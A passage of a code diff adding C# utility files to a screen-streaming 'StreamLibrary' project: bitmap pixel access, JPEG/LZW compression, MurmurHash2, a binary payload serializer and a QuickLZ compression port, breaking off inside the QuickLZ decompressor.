private static uint[] _buildCRC32Table(uint polynomial)
{
uint crc;
uint[] table = new uint[256];
// 256 values representing ASCII character codes.
for (int i = 0; i < 256; i++)
{
crc = (uint)i;
for (int j = 8; j > 0; j--)
{
if ((crc & 1) == 1)
crc = (crc >> 1) ^ polynomial;
else
crc >>= 1;
}
table[i] = crc;
}
return table;
}
private static int ToInt32(byte[] buffer)
{
return BitConverter.ToInt32(buffer, 0);
}
#endregion
}
}

View File

@ -0,0 +1,12 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace System.Runtime.CompilerServices
{
[AttributeUsage(AttributeTargets.Method)]
public sealed class ExtensionAttribute : Attribute
{
public ExtensionAttribute() { }
}
}

View File

@ -0,0 +1,59 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Text;
namespace StreamLibrary.src
{
public static unsafe class Extensions
{
public static SortedList<int, SortedList<int, Rectangle>> RectanglesTo2D(this Rectangle[] rects)
{
SortedList<int, SortedList<int, Rectangle>> Rects = new SortedList<int, SortedList<int, Rectangle>>();
for (int i = 0; i < rects.Length; i++)
{
if (!Rects.ContainsKey(rects[i].Y))
Rects.Add(rects[i].Y, new SortedList<int, Rectangle>());
if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
Rects[rects[i].Y].Add(rects[i].X, rects[i]);
}
return Rects;
}
public static SortedList<int, SortedList<int, Rectangle>> Rectangle2DToRows(this SortedList<int, SortedList<int, Rectangle>> Rects)
{
SortedList<int, SortedList<int, Rectangle>> RectRows = new SortedList<int, SortedList<int, Rectangle>>();
for (int i = 0; i < Rects.Values.Count; i++)
{
if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
{
RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList<int, Rectangle>());
}
if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
{
RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
}
Rectangle EndRect = Rects.Values[i].Values[0];
for (int x = 1; x < Rects.Values[i].Values.Count; x++)
{
Rectangle CurRect = Rects.Values[i].Values[x];
Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
{
RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
EndRect = Rects.Values[i].Values[x];
}
else
{
EndRect = Rects.Values[i].Values[x];
RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
}
}
}
return RectRows;
}
}
}

View File

@ -0,0 +1,353 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Text;
namespace StreamLibrary.src
{
public unsafe class FastBitmap
{
public Bitmap bitmap { get; set; }
public BitmapData bitmapData { get; private set; }
public int Width { get; private set; }
public int Height { get; private set; }
public PixelFormat format { get; private set; }
public DateTime BitmapCreatedAt;
public bool IsLocked { get; private set; }
public int Stride
{
get { return bitmapData.Stride; }
}
public FastBitmap(Bitmap bitmap, PixelFormat format)
{
switch (format)
{
case PixelFormat.Format32bppArgb:
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
case PixelFormat.Format8bppIndexed:
case PixelFormat.Format4bppIndexed:
case PixelFormat.Format1bppIndexed:
break;
default:
throw new NotSupportedException(format + " is not supported.");
}
this.bitmap = bitmap;
this.Width = this.bitmap.Width;
this.Height = this.bitmap.Height;
this.format = format;
Lock();
BitmapCreatedAt = DateTime.Now;
}
public FastBitmap(Bitmap bitmap)
{
this.format = bitmap.PixelFormat;
switch (format)
{
case PixelFormat.Format32bppArgb:
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
case PixelFormat.Format8bppIndexed:
case PixelFormat.Format4bppIndexed:
case PixelFormat.Format1bppIndexed:
break;
default:
throw new NotSupportedException(format + " is not supported.");
}
this.bitmap = bitmap;
this.Width = this.bitmap.Width;
this.Height = this.bitmap.Height;
this.format = format;
Lock();
BitmapCreatedAt = DateTime.Now;
}
public Color GetPixel(int x, int y)
{
byte* position = (byte*)bitmapData.Scan0.ToPointer();
position += CalcOffset(x, y);
byte A = position[3];
byte R = position[2];
byte G = position[1];
byte B = position[0];
return Color.FromArgb(A, R, G, B);
}
public void SetPixel(int x, int y, Color color)
{
byte* position = (byte*)bitmapData.Scan0.ToPointer();
position += CalcOffset(x, y);
position[3] = color.A;
position[2] = color.R;
position[1] = color.G;
position[0] = color.B;
}
public Color GetPixel(int x, int y, byte[] ImgData)
{
long offset = CalcOffset(x, y) + 4;
if (offset + 4 < ImgData.Length)
{
byte R = ImgData[offset];
byte G = ImgData[offset + 1];
byte B = ImgData[offset + 2];
return Color.FromArgb(255, R, G, B);
}
return Color.FromArgb(255, 0, 0, 0);
}
public void SetPixel(int x, int y, Color color, byte[] ImgData)
{
long offset = CalcOffset(x, y) + 4;
if (offset + 4 < ImgData.Length)
{
ImgData[offset] = color.R;
ImgData[offset + 1] = color.G;
ImgData[offset + 2] = color.B;
ByteArrayToBitmap(ImgData);
}
}
public void DrawRectangle(Point begin, Point end, Color color)
{
for (int x = begin.X; x < end.X; x++)
{
for (int y = begin.Y; y < end.Y; y++)
{
SetPixel(x, y, color);
}
}
}
public Int64 CalcOffset(int x, int y)
{
switch (format)
{
case PixelFormat.Format32bppArgb:
return (y * bitmapData.Stride) + (x * 4);
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
return (y * bitmapData.Stride) + (x * 3);
case PixelFormat.Format8bppIndexed:
return (y * bitmapData.Stride) + x;
case PixelFormat.Format4bppIndexed:
return (y * bitmapData.Stride) + (x / 2);
case PixelFormat.Format1bppIndexed:
return (y * bitmapData.Stride) + (x * 8);
}
return 0;
}
public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
{
switch (format)
{
case PixelFormat.Format32bppArgb:
return (y * (width * 4)) + (x * 4);
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
return (y * (width * 3)) + (x * 3);
case PixelFormat.Format8bppIndexed:
return (y * width) + x;
case PixelFormat.Format4bppIndexed:
return (y * (width / 2)) + (x / 2);
case PixelFormat.Format1bppIndexed:
return (y * (width * 8)) + (x * 8);
default:
throw new NotSupportedException(format + " is not supported.");
}
}
public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
{
Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
for (int x = BeginPoint.X; x < this.Width; x++)
{
Color prevColor = GetPixel(x, BeginPoint.Y);
if (curColor.R != prevColor.R ||
curColor.G != prevColor.G ||
curColor.B != prevColor.B)
{
EndPoint = new Point(x, BeginPoint.Y);
RetColor = curColor;
return;
}
}
EndPoint = new Point(this.Width, BeginPoint.Y);
RetColor = curColor;
}
public void Unlock()
{
if (IsLocked)
{
bitmap.UnlockBits(bitmapData);
IsLocked = false;
}
}
public void Lock()
{
if (!IsLocked)
{
bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
IsLocked = true;
}
}
public byte[] ToByteArray()
{
int bytes = Math.Abs(bitmapData.Stride) * Height;
byte[] rgbValues = new byte[bytes];
System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
return rgbValues;
}
public void ByteArrayToBitmap(byte[] data)
{
System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
}
public void Dispose()
{
if (bitmap != null)
{
try { bitmap.UnlockBits(bitmapData); }
catch { }
try { bitmap.Dispose(); }
catch { }
try
{
bitmap = null;
bitmapData = null;
}
catch { }
}
}
/// <summary> Get the byte points where to read from in a byte array </summary>
/// <param name="beginPoint">The beginning of the X, Y</param>
/// <param name="endPoint">The end of the X, Y</param>
/// <param name="ImgSize">The size of the image</param>
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
{
List<ArrayOffset> offsets = new List<ArrayOffset>();
for (int y = beginPoint.Y; y < endPoint.Y; y++)
{
int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
switch (format)
{
case PixelFormat.Format32bppArgb:
{
if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
{
if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
case PixelFormat.Format8bppIndexed:
{
if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
case PixelFormat.Format4bppIndexed:
{
if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
case PixelFormat.Format1bppIndexed:
{
if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
default:
{
throw new NotSupportedException(format + " is not supported.");
}
}
}
return offsets.ToArray();
}
/// <summary> Get the byte points in 2D </summary>
/// <param name="beginPoint">The beginning of the X, Y</param>
/// <param name="endPoint">The end of the X, Y</param>
/// <param name="ImgSize">The size of the image</param>
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
{
int Width = endPoint.X - beginPoint.X;
int Height = endPoint.Y - beginPoint.Y;
float Wsize = ((float)Width / (float)SlicePieces);
float Hsize = ((float)Height / (float)SlicePieces);
//+1 just to make sure we are not going outside the array
if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
Point tmp = new Point(0, 0);
for (int y = beginPoint.Y; y < Height; y += SlicePieces)
{
for (int x = beginPoint.X; x < Width; x += SlicePieces)
{
ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
tmp.X++;
}
tmp.X = 0;
tmp.Y++;
}
return ImageArrayOffsets;
}
}
public class ArrayOffset
{
public int BeginOffset { get; private set; }
public int EndOffset { get; private set; }
public int Stride { get; private set; }
public int X { get; private set; }
public int Y { get; private set; }
public int Width { get; private set; }
public int Height { get; private set; }
public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
{
this.BeginOffset = begin;
this.EndOffset = end;
this.Stride = Stride;
this.X = x;
this.Y = y;
this.Width = width;
this.Height = height;
}
}
}

View File

@ -0,0 +1,52 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.src
{
public class JpgCompression
{
private EncoderParameter parameter;
private ImageCodecInfo encoderInfo;
private EncoderParameters encoderParams;
public JpgCompression(int Quality)
{
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
this.encoderInfo = GetEncoderInfo("image/jpeg");
this.encoderParams = new EncoderParameters(2);
this.encoderParams.Param[0] = parameter;
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
}
public byte[] Compress(Bitmap bmp)
{
using (MemoryStream stream = new MemoryStream())
{
bmp.Save(stream, encoderInfo, encoderParams);
return stream.ToArray();
}
}
public void Compress(Bitmap bmp, ref Stream TargetStream)
{
bmp.Save(TargetStream, encoderInfo, encoderParams);
}
private ImageCodecInfo GetEncoderInfo(string mimeType)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
int num2 = imageEncoders.Length - 1;
for (int i = 0; i <= num2; i++)
{
if (imageEncoders[i].MimeType == mimeType)
{
return imageEncoders[i];
}
}
return null;
}
}
}

View File

@ -0,0 +1,55 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.src
{
public class LzwCompression
{
private EncoderParameter parameter;
private ImageCodecInfo encoderInfo;
private EncoderParameters encoderParams;
public LzwCompression(int Quality)
{
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
this.encoderInfo = GetEncoderInfo("image/jpeg");
this.encoderParams = new EncoderParameters(2);
this.encoderParams.Param[0] = parameter;
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
}
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
{
using (MemoryStream stream = new MemoryStream())
{
if (AdditionInfo != null)
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
bmp.Save(stream, encoderInfo, encoderParams);
return stream.ToArray();
}
}
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
{
if (AdditionInfo != null)
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
bmp.Save(stream, encoderInfo, encoderParams);
}
private ImageCodecInfo GetEncoderInfo(string mimeType)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
for (int i = 0; i < imageEncoders.Length; i++)
{
if (imageEncoders[i].MimeType == mimeType)
{
return imageEncoders[i];
}
}
return null;
}
}
}

View File

@ -0,0 +1,62 @@
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace StreamLibrary.src
{
public unsafe class MurmurHash2Unsafe
{
const UInt32 m = 0x5bd1e995;
const Int32 r = 24;
public unsafe UInt32 Hash(Byte* data, int length)
{
if (length == 0)
return 0;
UInt32 h = 0xc58f1a7b ^ (UInt32)length;
Int32 remainingBytes = length & 3; // mod 4
Int32 numberOfLoops = length >> 2; // div 4
UInt32* realData = (UInt32*)data;
while (numberOfLoops != 0)
{
UInt32 k = *realData;
k *= m;
k ^= k >> r;
k *= m;
h *= m;
h ^= k;
numberOfLoops--;
realData++;
}
switch (remainingBytes)
{
case 3:
h ^= (UInt16)(*realData);
h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
h *= m;
break;
case 2:
h ^= (UInt16)(*realData);
h *= m;
break;
case 1:
h ^= *((Byte*)realData);
h *= m;
break;
default:
break;
}
// Do a few final mixes of the hash to ensure the last few
// bytes are well-incorporated.
h ^= h >> 13;
h *= m;
h ^= h >> 15;
return h;
}
}
}

View File

@ -0,0 +1,22 @@
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace StreamLibrary.src
{
public class NativeMethods
{
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcpy(void* dst, void* src, uint count);
}
}

View File

@ -0,0 +1,113 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace StreamLibrary.src
{
public class PayloadWriter : IDisposable
{
public Stream vStream { get; set; }
public PayloadWriter()
{
vStream = new MemoryStream();
}
public PayloadWriter(Stream stream)
{
vStream = stream;
}
public void WriteBytes(byte[] value)
{
vStream.Write(value, 0, value.Length);
}
public void WriteBytes(byte[] value, int Offset, int Length)
{
vStream.Write(value, Offset, Length);
}
public void WriteInteger(int value)
{
WriteBytes(BitConverter.GetBytes(value));
}
/// <summary>
/// A integer with 3 bytes not 4
/// </summary>
public void WriteThreeByteInteger(int value)
{
WriteByte((byte)value);
WriteByte((byte)(value >> 8));
WriteByte((byte)(value >> 16));
}
public void WriteUInteger(uint value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteShort(short value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteUShort(ushort value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteULong(ulong value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteByte(byte value)
{
vStream.WriteByte(value);
}
public void WriteBool(bool value)
{
WriteByte(value ? (byte)1 : (byte)0);
}
public void WriteDouble(double value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteLong(long value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteFloat(float value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteDecimal(decimal value)
{
BinaryWriter writer = new BinaryWriter(vStream);
writer.Write(value);
}
public void WriteString(string value)
{
if (!(value == null))
WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
else
throw new NullReferenceException("value");
vStream.WriteByte(0);
vStream.WriteByte(0);
}
public int Length
{
get { return (int)vStream.Length; }
}
public void Dispose()
{
vStream.Close();
vStream.Dispose();
vStream = null;
}
}
}

View File

@ -0,0 +1,58 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace StreamLibrary.src
{
/// <summary>
/// A helper class for pointers
/// </summary>
public class PointerHelper
{
private int _offset;
public IntPtr Pointer
{
get;
private set;
}
public int TotalLength { get; private set; }
public int Offset
{
get { return _offset; }
set
{
if (value < 0)
throw new Exception("Offset must be >= 1");
if (value >= TotalLength)
throw new Exception("Offset cannot go outside of the reserved buffer space");
_offset = value;
}
}
public PointerHelper(IntPtr pointer, int Length)
{
this.TotalLength = Length;
this.Pointer = pointer;
}
/// <summary>
/// Copies data from Source to the current Pointer Offset
/// </summary>
public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
{
if (CheckBoundries(this.Offset, SourceLength))
throw new AccessViolationException("Cannot write outside of the buffer space");
NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
}
private bool CheckBoundries(int offset, int length)
{
return offset + length > TotalLength;
}
}
}

View File

@ -0,0 +1,487 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace StreamLibrary.src
{
// QuickLZ data compression library
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
// lar@quicklz.com
//
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
// released into public must be open source) or under a commercial license if such
// has been acquired (see http://www.quicklz.com/order.html). The commercial license
// does not cover derived or ported versions created by third parties under GPL.
//
// Only a subset of the C library has been ported, namely level 1 and 3 not in
// streaming mode.
//
// Version: 1.5.0 final
public class SafeQuickLZ
{
public const int QLZ_VERSION_MAJOR = 1;
public const int QLZ_VERSION_MINOR = 5;
public const int QLZ_VERSION_REVISION = 0;
// Streaming mode not supported
public const int QLZ_STREAMING_BUFFER = 0;
// Bounds checking not supported Use try...catch instead
public const int QLZ_MEMORY_SAFE = 0;
// Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
private const int HASH_VALUES = 4096;
private const int MINOFFSET = 2;
private const int UNCONDITIONAL_MATCHLEN = 6;
private const int UNCOMPRESSED_END = 4;
private const int CWORD_LEN = 4;
private const int DEFAULT_HEADERLEN = 9;
private const int QLZ_POINTERS_1 = 1;
private const int QLZ_POINTERS_3 = 16;
private int headerLen(byte[] source, int offset)
{
return ((source[offset] & 2) == 2) ? 9 : 3;
}
public int sizeDecompressed(byte[] source, int offset)
{
if (headerLen(source, offset) == 9)
return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
else
return source[offset + 2];
}
public int sizeCompressed(byte[] source, int offset)
{
if (headerLen(source, offset) == 9)
return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
else
return source[offset + 1];
}
private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
{
dst[0] = (byte)(2 | (compressible ? 1 : 0));
dst[0] |= (byte)(level << 2);
dst[0] |= (1 << 6);
dst[0] |= (0 << 4);
fast_write(dst, 1, size_decompressed, 4);
fast_write(dst, 5, size_compressed, 4);
}
public byte[] compress(byte[] source, int Offset, int Length, int level)
{
int src = Offset;
int dst = DEFAULT_HEADERLEN + CWORD_LEN;
uint cword_val = 0x80000000;
int cword_ptr = DEFAULT_HEADERLEN;
byte[] destination = new byte[Length + 400];
int[,] hashtable;
int[] cachetable = new int[HASH_VALUES];
byte[] hash_counter = new byte[HASH_VALUES];
byte[] d2;
int fetch = 0;
int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
int lits = 0;
if (level != 1 && level != 3)
throw new ArgumentException("C# version only supports level 1 and 3");
if (level == 1)
hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
else
hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
if (Length == 0)
return new byte[0];
if (src <= last_matchstart)
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
while (src <= last_matchstart)
{
if ((cword_val & 1) == 1)
{
if (src > Length >> 1 && dst > src - (src >> 5))
{
d2 = new byte[Length + DEFAULT_HEADERLEN];
write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
return d2;
}
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
cword_ptr = dst;
dst += CWORD_LEN;
cword_val = 0x80000000;
}
if (level == 1)
{
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
int o = hashtable[hash, 0];
int cache = cachetable[hash] ^ fetch;
cachetable[hash] = fetch;
hashtable[hash, 0] = src;
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
source[src] == source[src - 2] && source[src] == source[src - 1] &&
source[src] == source[src + 1] && source[src] == source[src + 2])))
{
cword_val = ((cword_val >> 1) | 0x80000000);
if (source[o + 3] != source[src + 3])
{
int f = 3 - 2 | (hash << 4);
destination[dst + 0] = (byte)(f >> 0 * 8);
destination[dst + 1] = (byte)(f >> 1 * 8);
src += 3;
dst += 2;
}
else
{
int old_src = src;
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
src += 4;
if (source[o + src - old_src] == source[src])
{
src++;
if (source[o + src - old_src] == source[src])
{
src++;
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
src++;
}
}
int matchlen = src - old_src;
hash <<= 4;
if (matchlen < 18)
{
int f = (hash | (matchlen - 2));
destination[dst + 0] = (byte)(f >> 0 * 8);
destination[dst + 1] = (byte)(f >> 1 * 8);
dst += 2;
}
else
{
fast_write(destination, dst, hash | (matchlen << 16), 3);
dst += 3;
}
}
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
lits = 0;
}
else
{
lits++;
hash_counter[hash] = 1;
destination[dst] = source[src];
cword_val = (cword_val >> 1);
src++;
dst++;
fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
}
}
else
{
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
int o, offset2;
int matchlen, k, m, best_k = 0;
byte c;
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
c = hash_counter[hash];
matchlen = 0;
offset2 = 0;
for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
{
o = hashtable[hash, k];
if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
{
m = 3;
while (source[o + m] == source[src + m] && m < remaining)
m++;
if ((m > matchlen) || (m == matchlen && o > offset2))
{
offset2 = o;
matchlen = m;
best_k = k;
}
}
}
o = offset2;
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
c++;
hash_counter[hash] = c;
if (matchlen >= 3 && src - o < 131071)
{
int offset = src - o;
for (int u = 1; u < matchlen; u++)
{
fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
c = hash_counter[hash]++;
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
}
src += matchlen;
cword_val = ((cword_val >> 1) | 0x80000000);
if (matchlen == 3 && offset <= 63)
{
fast_write(destination, dst, offset << 2, 1);
dst++;
}
else if (matchlen == 3 && offset <= 16383)
{
fast_write(destination, dst, (offset << 2) | 1, 2);
dst += 2;
}
else if (matchlen <= 18 && offset <= 1023)
{
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
dst += 2;
}
else if (matchlen <= 33)
{
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
dst += 3;
}
else
{
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
dst += 4;
}
lits = 0;
}
else
{
destination[dst] = source[src];
cword_val = (cword_val >> 1);
src++;
dst++;
}
}
}
while (src <= Length - 1)
{
if ((cword_val & 1) == 1)
{
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
cword_ptr = dst;
dst += CWORD_LEN;
cword_val = 0x80000000;
}
destination[dst] = source[src];
src++;
dst++;
cword_val = (cword_val >> 1);
}
while ((cword_val & 1) != 1)
{
cword_val = (cword_val >> 1);
}
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
write_header(destination, level, true, Length, dst);
d2 = new byte[dst];
System.Array.Copy(destination, d2, dst);
return d2;
}
private void fast_write(byte[] a, int i, int value, int numbytes)
{
for (int j = 0; j < numbytes; j++)
a[i + j] = (byte)(value >> (j * 8));
}
public byte[] decompress(byte[] source, int Offset, int Length)
{
int level;
int size = sizeDecompressed(source, Offset);
int src = headerLen(source, Offset) + Offset;
int dst = 0;
uint cword_val = 1;
byte[] destination = new byte[size];
int[] hashtable = new int[4096];
byte[] hash_counter = new byte[4096];
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
int last_hashed = -1;
int hash;
uint fetch = 0;
level = (source[Offset] >> 2) & 0x3;
if (level != 1 && level != 3)
throw new ArgumentException("C# version only supports level 1 and 3");
if ((source[Offset] & 1) != 1)
{
byte[] d2 = new byte[size];
System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
return d2;
}
for (; ; )
{
if (cword_val == 1)
{
cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
src += 4;
if (dst <= last_matchstart)
{
if (level == 1)
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
else
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
}
}
if ((cword_val & 1) == 1)
{
uint matchlen;
uint offset2;
cword_val = cword_val >> 1;
if (level == 1)
{
hash = ((int)fetch >> 4) & 0xfff;
offset2 = (uint)hashtable[hash];
if ((fetch & 0xf) != 0)
{
matchlen = (fetch & 0xf) + 2;
src += 2;
}
else
{
matchlen = source[src + 2];
src += 3;
}
}
else
{
uint offset;
if ((fetch & 3) == 0)
{
offset = (fetch & 0xff) >> 2;
matchlen = 3;
src++;
}
else if ((fetch & 2) == 0)
{
offset = (fetch & 0xffff) >> 2;
matchlen = 3;
src += 2;
}
else if ((fetch & 1) == 0)
{
offset = (fetch & 0xffff) >> 6;
matchlen = ((fetch >> 2) & 15) + 3;
src += 2;
}
else if ((fetch & 127) != 3)
{
offset = (fetch >> 7) & 0x1ffff;
matchlen = ((fetch >> 2) & 0x1f) + 2;
src += 3;
}
else
{
offset = (fetch >> 15);
matchlen = ((fetch >> 7) & 255) + 3;
src += 4;
}
offset2 = (uint)(dst - offset);
}
destination[dst + 0] = destination[offset2 + 0];
destination[dst + 1] = destination[offset2 + 1];
destination[dst + 2] = destination[offset2 + 2];
for (int i = 3; i < matchlen; i += 1)
{
destination[dst + i] = destination[offset2 + i];
}
dst += (int)matchlen;
if (level == 1)
{
fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
while (last_hashed < dst - matchlen)
{
last_hashed++;
